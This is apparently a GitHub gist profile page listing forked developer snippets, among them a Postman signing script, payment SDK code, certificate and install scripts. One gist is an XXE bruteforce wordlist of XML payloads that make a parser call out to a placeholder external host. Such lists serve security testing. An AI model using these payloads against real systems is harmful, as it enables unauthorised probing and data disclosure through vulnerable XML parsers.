Skip to content

Instantly share code, notes, and snippets.

View josefigueredo's full-sized avatar
🚀

Jose Figueredo josefigueredo

🚀
View GitHub Profile
@josefigueredo
josefigueredo / httpsig-in-postman-pre-request-script.js
Created April 7, 2021 15:26 — forked from DinoChiesa/httpsig-in-postman-pre-request-script.js
pre-request script for Postman, to perform HttpSignature calculation. Also SHA-256 message digest.
function computeHttpSignature(config, headerHash) {
var template = 'keyId="${keyId}",algorithm="${algorithm}",headers="${headers}",signature="${signature}"',
sig = template;
// compute sig here
var signingBase = '';
config.headers.forEach(function(h){
if (signingBase !== '') { signingBase += '\n'; }
signingBase += h.toLowerCase() + ": " + headerHash[h];
});
@josefigueredo
josefigueredo / minimal_payment.java
Created April 5, 2021 18:35 — forked from joelibaceta/minimal_payment.java
Ejemplos de creación de pagos con el del SDK para Java de MercadoPago
// Implementacion Minima de un Pago usando el SDK para Java de MercadoPago
//import com.mercadopago.MP;
//import org.codehaus.jettison.json.JSONArray;
//import org.codehaus.jettison.json.JSONObject;
MP mp = new MP("ACCESS_TOKEN");
JSONObject payment = null;
try {
@josefigueredo
josefigueredo / optionalNullableExtension.kt
Last active January 13, 2021 18:07 — forked from bastman/optionalToNullable.kt
Kotlin extension function to convert Java8 Optional<T> to Kotlin nullable T?
fun <T : Any> Optional<T>.toNullable(): T? = this.orElse(null);
fun <T : Any> T?.toOptional(): Optional<T> = Optional.ofNullable(this)
@josefigueredo
josefigueredo / xxe-payloads.txt
Created September 14, 2020 13:57 — forked from honoki/xxe-payloads.txt
XXE bruteforce wordlist
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y
@josefigueredo
josefigueredo / ColourfulShell
Last active February 7, 2019 14:32 — forked from ChrisMorrisOrg/ColourfulShell
Colourise and highlight text in your Python app when running through shell.
# Colourise - colours text in shell. Returns plain if colour doesn't exist.
def colourise(colour, text):
if colour == "black":
return "\033[1;30m" + str(text) + "\033[1;m"
if colour == "red":
return "\033[1;31m" + str(text) + "\033[1;m"
if colour == "green":
return "\033[1;32m" + str(text) + "\033[1;m"
if colour == "yellow":
return "\033[1;33m" + str(text) + "\033[1;m"
@josefigueredo
josefigueredo / makecert.sh
Created December 28, 2018 03:18 — forked from jim3ma/makecert.sh
Golang TLS server and client
#!/bin/bash
# call this script with an email address (valid or not).
# like:
# ./makecert.sh [email protected]
mkdir certs
rm certs/*
echo "make server cert"
openssl req -new -nodes -x509 -out certs/server.pem -keyout certs/server.key -days 3650 -subj "/C=DE/ST=NRW/L=Earth/O=Random Company/OU=IT/CN=www.random.com/emailAddress=$1"
echo "make client cert"
openssl req -new -nodes -x509 -out certs/client.pem -keyout certs/client.key -days 3650 -subj "/C=DE/ST=NRW/L=Earth/O=Random Company/OU=IT/CN=www.random.com/emailAddress=$1"
@josefigueredo
josefigueredo / install_go_pi.sh
Created December 25, 2018 22:51 — forked from random-robbie/install_go_pi.sh
Install Go Lang 1.10.1 on Raspberry Pi 3
wget https://storage.googleapis.com/golang/go1.10.1.linux-armv6l.tar.gz
sudo tar -C /usr/local -xvf go1.10.1.linux-armv6l.tar.gz
cat >> ~/.bashrc << 'EOF'
export GOPATH=$HOME/go
export PATH=/usr/local/go/bin:$PATH:$GOPATH/bin
EOF
source ~/.bashrc
@josefigueredo
josefigueredo / macapp.go
Created May 25, 2018 13:23 — forked from mholt/macapp.go
Distribute your Go program (or any single binary) as a native macOS application
// Package main is a sample macOS-app-bundling program to demonstrate how to
// automate the process described in this tutorial:
//
// https://medium.com/@mattholt/packaging-a-go-application-for-macos-f7084b00f6b5
//
// Bundling the .app is the first thing it does, and creating the DMG is the
// second. Making the DMG is optional, and is only done if you provide
// the template DMG file, which you have to create beforehand.
//
// Example use: